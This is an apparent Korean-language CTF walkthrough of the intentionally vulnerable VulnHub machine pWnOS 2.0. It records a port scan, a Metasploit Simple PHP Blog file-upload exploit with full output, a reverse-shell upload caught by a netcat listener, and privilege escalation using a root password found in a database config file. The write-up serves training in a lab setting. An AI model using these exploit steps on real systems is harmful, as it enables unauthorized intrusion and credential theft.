vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)

8578 단어 보안VulnHubCTF
초보자가 가득한 시큐리티 엔지니어를 목표로 하기 위해 공부한 비망록이 되기 때문에 잘못되어 있는 일이 있을지도 모릅니다.
vulnhub의 의도적으로 취약성이 만들어진 pWnOS: 2.0 (Pre-Release)의 Walkthrough입니다.

vulnhub 정보





이름
pWnOS: 2.0 (Pre-Release)


Date release
4 Jul 2011

작성자
pWnOS

시리즈
pWnOS

웹 페이지
htp // pw의 s. 코m/


PortScan:


sshApache가 실행 중입니다.


PORT
서비스
VERSION


22
ssh
OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)

80
http
Apache httpd 2.2.17 ((Ubuntu))


root@kali:~# nmap -sS -sV 10.10.10.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 20:03 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.100
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 08:00:27:75:1D:13 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds

Enumeration:


Simple Blog 0.4.0 의 CMS 툴을 사용하고 있는 것을 알았습니다.


SimpleBlog라는 CMS는 sphpblog라고도하는 것으로 보이며, 버전 0.4.0에는 취약점이 있습니다.

root@kali:~# msfconsole 
msf5 > search sphpblog

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/sphpblog_file_upload  2005-08-25       excellent  Yes    Simple PHP Blog Remote Command Execution

Exploitation:



취약점이 존재하는 것으로 확인되었으므로 metasploit를 사용하여 exploit합니다.
exploit의 실행 결과, 쉘의 획득은 할 수 없었습니다.
하지만 로그인 ID가 발행되고 있어 로그인을 할 수 있었습니다.

[+] Successfully logged in as J5xlbv:J60g8E
msf5 exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf5 exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
URI => /blog
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit

msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.10.23:4444 
[+] Successfully retrieved hash: $1$bQ1Zx6r.$YuFIUQKUSFrId4cMAp//b.
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as J5xlbv:J60g8E
[-] Error retrieving cookie!
[+] Successfully Uploaded medqGCz2aIwuIkwaJAK6.php
[+] Successfully Uploaded akLzPlK3kcl4EHPPnin0.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/medqGCz2aIwuIkwaJAK6.php
[*] Calling payload: /images/akLzPlK3kcl4EHPPnin0.php
[+] Successfully removed /images/akLzPlK3kcl4EHPPnin0.php
[*] Exploit completed, but no session was created.

Upload를 실시하는 장소가 있었으므로, 우선 리버스 쉘(kali linux 동고의 php-reverse-shell.php)을 업로드 해 보겠습니다.

무사히 업로드 할 수있는 모양입니다.




리버스 쉘을 실행했을 때 접속할 수 있었습니다.

root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.23] from (UNKNOWN) [10.10.10.100] 32808
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
 16:46:36 up 48 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     tty1                      16:01   45:22   0.21s  0.19s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off

Privilege Escalation:



접속처를 조사하고 있으면, /var 했는데 gmysqli_connect.php 가 있어 root 의 유저 정보가 있었습니다.

$pwd
pwd
/var
$ ls
ls
backups  crash       lib    lock  mail                opt  spool  uploads
cache    index.html  local  log   mysqli_connect.php  run  tmp    www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

방금 찾은 사용자 정보로 root 권한을 얻을 수 있었습니다.

$ su root
su root
Password: root@ISIntS

root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)

면책 조항



본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.

좋은 웹페이지 즐겨찾기